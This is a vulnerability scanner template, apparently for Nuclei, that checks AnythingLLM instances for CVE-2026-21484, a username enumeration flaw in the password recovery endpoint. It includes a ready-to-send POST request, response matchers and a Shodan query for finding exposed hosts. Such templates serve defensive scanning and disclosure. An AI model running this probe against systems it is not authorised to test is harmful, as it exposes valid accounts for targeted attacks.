id: CVE-2026-21484

info:
  name: AnythingLLM - Username Enumeration via Password Recovery
  author: DhiyaneshDk
  severity: medium
  description: |
    AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.
  impact: |
    Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.
  remediation: Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.
  reference:
    - https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-21484
    epss-score: 0.00713
    epss-percentile: 0.48751
    cwe-id: CWE-203,CWE-204
  metadata:
    verified: true
    max-request: 2
    vendor: mintplex-labs
    product: anything-llm
    shodan-query: http.favicon.hash:-1279687529
  tags: cve,cve2026,anythingllm,user-enum

variables:
  rc1: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc2: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc3: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc4: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/system/recover-account HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{randstr}}","recoveryCodes":["{{rc3}}","{{rc4}}"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "Invalid recovery codes","success")'
        condition: and
# digest: 4b0a00483046022100dc440ac6b63e23e504d8b576813026aaf2e220ef7c0b60b227f6229edaab77d0022100d56d832343e0b90734b23fde1fdc512064b921cc2a77eddf8df6c2b6c4effea9:922c64590222798bb761d5b6d8e72950